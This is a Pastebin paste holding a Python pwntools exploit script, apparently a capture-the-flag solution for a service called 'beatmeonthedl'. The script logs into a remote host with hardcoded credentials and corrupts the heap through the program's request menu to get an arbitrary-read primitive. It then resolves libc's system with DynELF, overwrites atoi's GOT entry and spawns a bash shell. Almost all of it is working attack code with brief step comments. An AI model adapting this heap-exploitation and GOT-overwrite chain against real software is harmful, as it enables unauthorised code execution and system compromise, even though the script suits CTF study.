Advertisement
Guest User

Untitled

a guest
Jun 20th, 2017
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. from pwn import *
  2.  
  3. #r = process("./beatmeonthedl")
  4. r = remote('sploitbox.com', 10001)
  5.  
  6. r.recvuntil("Enter username: ")
  7. r.sendline("mcfly")
  8.  
  9. r.recvuntil("Enter Pass: ")
  10. r.sendline("awesnap")
  11.  
  12. def add_request(v):
  13. r.recvuntil("| ")
  14. r.sendline("1")
  15.  
  16. r.recvuntil("Request text > ")
  17. r.send(v)
  18.  
  19. def del_request(v):
  20. r.recvuntil("| ")
  21. r.sendline("3")
  22.  
  23. r.recvuntil("choice: ")
  24. r.sendline(str(v))
  25.  
  26. def update_request(i, v):
  27. r.recvuntil("| ")
  28. r.sendline("4")
  29.  
  30. r.recvuntil("choice: ")
  31. r.sendline(str(i))
  32.  
  33. r.recvuntil("data: ")
  34. r.send(v)
  35.  
  36.  
  37. for i in range(7):
  38. add_request(p64(0x609E80)*7)
  39.  
  40. for i in range(6, 1, -1):
  41. del_request(i)
  42.  
  43. # The heap gets corrupted so that metadata about the next and previous chunk gets written in
  44. # the reqlist list pointer array
  45. update_request(0, "A" * 56 + p64(0x80) + p64(0x609E88) + p64(0x609E80) * 6)
  46. del_request(1)
  47. del_request(0)
  48. add_request("123")
  49.  
  50. # Once the data is corrupted we can write pointer of our choice in the reqlist
  51. # When we print the list, we will get the content at the specified pointer
  52. def read_at_offset(offset):
  53. update_request(4, p64(offset))
  54.  
  55. r.recvuntil("| ")
  56. r.sendline("2")
  57. r.recvuntil("0) ")
  58.  
  59. return r.recvuntil("2)")[:-3] + "\x00"
  60.  
  61. def bytes_to_int(bts):
  62. return int(bts[::-1].encode("hex"), 16)
  63.  
  64. # Use DynELF with the leak function to located the offset of the "system" function
  65. libc_ptr = bytes_to_int(read_at_offset(0x609958))
  66. d = DynELF(read_at_offset, libc_ptr)
  67. ptr = d.lookup('system')
  68.  
  69. # Replace atoi with the offset of "system" in the GOT.PLT
  70. update_request(4, p64(0x6099D8))
  71. update_request(0, p64(ptr))
  72.  
  73. # atoi is invoked with the value we send in the menu selection
  74. # since we changed atoi to system, we can send "bash" and it
  75. # will invoke system("bash")
  76. r.recvuntil("| ")
  77. r.sendline("bash")
  78.  
  79. # Profit !
  80. r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement